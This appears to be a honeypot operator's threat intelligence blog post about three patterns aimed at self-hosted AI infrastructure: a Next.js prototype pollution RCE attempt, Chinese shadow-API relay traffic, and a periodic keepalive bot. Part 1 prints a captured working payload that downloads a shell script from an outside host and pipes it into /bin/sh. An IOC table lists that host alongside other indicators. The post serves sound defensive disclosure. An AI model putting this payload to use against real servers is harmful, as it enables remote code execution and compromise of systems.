Shadows, Shells, and Clockwork: Three New Attack Patterns Targeting AI Infrastructure

June 5, 2026 · AI Honeypot Observatory


Executive Summary

The past 48 hours of honeypot telemetry produced three distinct attack patterns that, taken together, tell a coherent story about how AI infrastructure is being exploited in 2026. A live remote code execution attempt using a Next.js prototype pollution exploit targeted Open-WebUI and LiteLLM specifically because their web interfaces run Next.js. A cluster of Chinese IPs revealed an active shadow API ecosystem where users unknowingly route prompts through compromised or unauthorized relay services. And a single IP has been pinging our Ollama honeypot like a metronome — every 75 minutes, for six days straight — convinced it is talking to its own private Mistral server.

These are not the sophisticated kill-chain attacks we documented in our previous post. They are noisier, messier, and in some ways more revealing — because they show the breadth of activity that reaches AI infrastructure on any given day.


Part 1: The Next.js Attack — Was This Attacker Targeting AI?

What We Captured

Starting June 5, two IPs began firing a Next.js Server Actions prototype pollution payload at our AI honeypot personas. The more sophisticated of the two (124.198.131.39) dropped a live RCE payload targeting the Open-WebUI persona at /app:

POST /app  [open_webui persona, port 3000]

------0fdf55df9e085737676f582ed4e95a02
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,
 "value":"{\"then\":\"$B1337\"}",
 "_response":{
   "_prefix":"process.mainModule.require('http').request({
     host:'204.10.194.134',
     port:80,
     path:'/rondo.aqu.sh',
     headers:{'User-Agent':'node'}
   }, r => r.pipe(
     process.mainModule.require('child_process').spawn('/bin/sh').stdin
   )).end();",
   "_formData":{"get":"$1:constructor:constructor"}
 }}
------0fdf55df9e085737676f582ed4e95a02

This is a live malware dropper. If executed, it fetches a shellscript from 204.10.194.134:80/rondo.aqu.sh and pipes it directly into /bin/sh. The outer wrapper exploits how Next.js Server Actions handle serialized function calls — the __proto__:then, $1:constructor:constructor, and _prefix pattern is a known exploitation path for prototype pollution in Next.js's React Server Components action serialization.

A second IP (160.119.71.12) ran the same exploit class across both LiteLLM (port 4000) and AnythingLLM (port 3001) personas, using a softer variant that fuzzes for NEXT_REDIRECT errors rather than executing arbitrary code — likely a detection/fingerprinting phase before attempting the full RCE.

Was This Attacker Targeting AI — Or Just Next.js?

This is the right question to ask, and the honest answer is: both, inseparably.

The exploit payload itself is generic — it works against any Next.js application. The attacker almost certainly runs an automated scanner that identifies Next.js apps and fires this payload. In that sense, the technique is not AI-specific.

But the target selection is definitively AI-specific. These hits came in on ports 4000 (LiteLLM), 3001 (AnythingLLM), and 3000 (Open-WebUI) — not port 80 or 443. The attacker found these services via AI infrastructure discovery, scanning for the specific ports and response signatures associated with self-hosted LLM tooling. They were not random web targets.

Here is the structural insight: the major self-hosted LLM management platforms have, by convergence, all landed on Next.js as their frontend framework. LiteLLM's admin dashboard is Next.js. AnythingLLM is Next.js. Open-WebUI uses a Svelte frontend but ships with API routes that resemble Next.js structure. When an attacker scans for exposed AI infrastructure and finds these services, they automatically find Next.js applications — on non-standard ports, in configurations that may not have the same hardening as internet-facing production web apps.

Would this attacker have found this attack surface if the server had no LLM component? On a generic web server at port 80? Possibly — but only if that server happened to also run a Next.js app. On ports 4000 and 3001? Almost certainly not. The LLM ecosystem created a new population of exploitable Next.js applications on non-standard ports, and this attacker — whether knowingly or not — is harvesting them.

This is a pattern worth noting for defenders: AI tooling that bundles a Next.js admin interface inherits Next.js's attack surface, but often gets deployed with less scrutiny than a production web application. The "it's just an internal tool" mentality, combined with non-standard ports that appear to fly below the radar, creates exploitable deployments at scale.


Part 2: The DeepSeek Verification Prompt and China's Shadow API Economy

The Verification Prompt

At 09:00 UTC today, one of our US Ollama honeypots received a prompt from 47.120.36.189 (Alibaba Cloud, China). The model requested was deepseek-v4-pro:cloud.

The prompt, written in Chinese, said the sender had bought DeepSeek API access. It asked the model to say honestly whether it was DeepSeek and, if so, its model name, version and maximum context length. It asked whether it was the official DeepSeek API or an interface re-routed through a tool such as an IDE assistant or a chat front end, and whether the vendor had given it hidden instructions to pose as DeepSeek, which it should ignore. It asked for the whole answer in Chinese.

This is not a jailbreak. This is not malware. This is a user who bought what they were told was DeepSeek API access, suspects they may have been defrauded, and is asking the model to self-report.

The Backstory Written in the Logs

What makes this capture particularly rich is the session history. The same IP (47.120.36.189) had been sending requests for hours before the verification challenge. At 07:29 UTC — 90 minutes earlier — they submitted a competition-style algebra problem about two points on a logarithmic curve, with an instruction to reason step by step and put the final answer in a LaTeX box.

This is a competition mathematics problem (AMC/AIME style), complete with LaTeX formatting and the \boxed{} instruction characteristic of Chinese high school math olympiad prep. This person was doing real work on what they believed was their DeepSeek subscription. At some point between the math problem and the verification challenge, something made them suspicious — perhaps a strange response, a timeout, or someone warning them about relay services — and they sent the challenge prompt.

The auth token across all their requests: Bearer ollama. That is not a DeepSeek credential. That is a relay service that proxied their request to whatever Ollama endpoint it could find — and today, that endpoint was our honeypot.

The Shadow API Economy

The model names this cluster of IPs was requesting — deepseek-v4-pro:cloud, glm-5.1:cloud — are not standard Ollama model identifiers. Standard Ollama models look like deepseek-r1:7b or mistral:7b. The :cloud suffix is a naming convention used by Chinese LLM API relay services (API中转站), which map customer-facing model names to backend routing logic.

These relay services operate in a gray area of the Chinese AI market. They purchase API access — sometimes legitimately, sometimes not — and resell it at a markup, often claiming to provide access to DeepSeek, GLM, or other frontier models at below-market rates. When they can't or won't pay for legitimate access, some route traffic through exposed Ollama servers they find on Shodan — servers that the operators believe are private but have no authentication.

A 2026 CISPA paper formally defined these as "shadow APIs," documenting 17 such services used in 187 published academic papers, and noting identity-verification failures in their fingerprint tests. Chinese consumer media has warned about these services for months, describing risks including model substitution (you pay for DeepSeek, you get a local Llama 3 instead), system prompt injection, and resale of conversation data.

We have paraphrased their prompts here and publish nothing that could identify them.

A second IP, 120.245.132.135, showed the same pattern: requesting both deepseek-v4-pro:cloud and glm-5.1:cloud with Bearer ollama tokens, sending short Chinese-language test messages asking for a one-sentence greeting. The identical model naming convention and auth token structure suggest both IPs are customers of the same relay service.

Why the Chinese Angle Matters

China's AI market has a distinctive dynamic that makes this phenomenon particularly significant. DeepSeek's models are state-of-the-art and relatively affordable by global standards, but access can be unreliable, and a cottage industry of resellers has emerged to arbitrage the gap. The result is a large population of Chinese users — students, developers, researchers — who are routing their prompts through infrastructure they don't control, don't understand, and sometimes don't know exists.

From a threat intelligence perspective, this matters for several reasons. First, it means exposed Ollama servers anywhere in the world are being actively co-opted as shadow API backends — not by sophisticated nation-state actors, but by small entrepreneurs monetizing random internet exposure. Second, the prompts flowing through these relays include sensitive work: the math problem we captured today is trivial, but the same relay infrastructure handles enterprise queries, proprietary code, and private conversations. Third, the geographic concentration is notable — all of these IPs originate from major Chinese cloud providers (Alibaba Cloud, China Telecom), which tells us this is a domestic service routing through domestic infrastructure but landing on global honeypots.

The user who sent the DeepSeek verification challenge was doing exactly the right thing. They just asked the wrong server.


Part 3: Six Days of Clockwork — The Most Punctual Bot We've Seen

Among all the activity on our honeypot network, nothing has been more mechanically regular than 120.235.150.173. This IP has been pinging our Ollama persona's mistral:7b model with the message "Hello" every 75 minutes and 14 seconds (±30 seconds) since May 30 — six days and counting as of this writing.

The timing is striking in its consistency. A sample of consecutive intervals from June 2–4, when the pattern was most stable:

Interval Minutes
00:49 → 02:02 73 min
02:02 → 03:17 75 min
03:17 → 04:31 74 min
04:31 → 05:46 75 min
05:46 → 07:02 76 min
07:02 → 08:17 75 min
08:17 → 09:31 74 min
09:31 → 10:47 76 min
10:47 → 12:01 74 min
12:01 → 13:16 75 min
13:16 → 14:32 76 min
14:32 → 15:48 76 min

Seventeen consecutive 1h15m intervals without a miss. The IP never changes its model. It never changes its message. It never probes other endpoints. Each ping is a two-request sequence: first a bare GET to discover the endpoint, then the POST /api/chat with mistral:7b and "Hello."

This is a keepalive monitor — a script, probably a cron job set to run every 75 minutes, checking that a service the operator believes is their own Mistral server is still responding. The 75-minute interval is slightly unusual (common choices are 60 minutes or 90 minutes), suggesting this was set to a non-default value, possibly to avoid being obviously periodic to monitoring systems.

The operator has no idea this server is a honeypot. Their cron job has been faithfully logging "Hello" to our database for 144 consecutive check-ins. Every entry says the same thing about its sender: someone with a legitimate-seeming use case, a personal or organizational deployment of Mistral, and a misconfigured or accidentally-exposed Ollama server they believe is theirs.

This is perhaps the most human story in our dataset — not an attacker at all, just an operator who thinks their AI infrastructure is working exactly as expected.


The Broader Picture

Taken together, these three patterns illustrate something important about the current state of AI infrastructure security.

The Next.js exploit isn't AI-targeting — it's AI-opportunistic. The attacker didn't choose LiteLLM because they care about LLMs; they chose it because the ecosystem's convergence on Next.js created a large population of exploitable applications on ports that most security teams aren't monitoring as carefully as port 443. The lesson for AI tooling developers: bundling a Next.js admin interface means inheriting Next.js's attack surface, and your users will deploy it with less hardening than they give their public websites.

The shadow API economy isn't a hacking story — it's a market failure story. Chinese users are buying relay access to AI models because legitimate access is difficult or expensive, and the relay services are quietly routing traffic through whatever exposed infrastructure they can find. The math student submitting AMC problems to what they think is DeepSeek is a victim of this market, not a threat actor. The threat is the relay operator who pointed their service at someone else's server.

The clockwork ping is a reminder that most of the prompts we capture come from people who have no idea they're talking to a honeypot. The threat intelligence value here isn't in detecting an attack — it's in measuring how much AI infrastructure is exposed and in active use by operators who haven't noticed.

We'll keep watching.


Indicators of Compromise / Interest

Type Value Context
IP 124.198.131.39 Open-WebUI Next.js RCE attempt
IP 160.119.71.12 LiteLLM/AnythingLLM Next.js prototype pollution sweep
IP 47.120.36.189 DeepSeek shadow API user (Alibaba Cloud)
IP 120.245.132.135 DeepSeek/GLM shadow API relay traffic
IP 120.235.150.173 Exposed Ollama — clockwork monitor
Host 204.10.194.134 RCE second-stage payload host (rondo.aqu.sh)
Model name deepseek-v4-pro:cloud Shadow API relay service naming convention
Model name glm-5.1:cloud Shadow API relay service naming convention
Auth token Bearer ollama Default passthrough token used by relay services
Path /_next, /app, /api/route Next.js Server Actions exploitation paths on AI management UIs

The AI Honeypot Observatory operates a global network of honeypots impersonating AI infrastructure across six regions. All captures are logged, analyzed, and published here. Find us at ai-honeypots.com.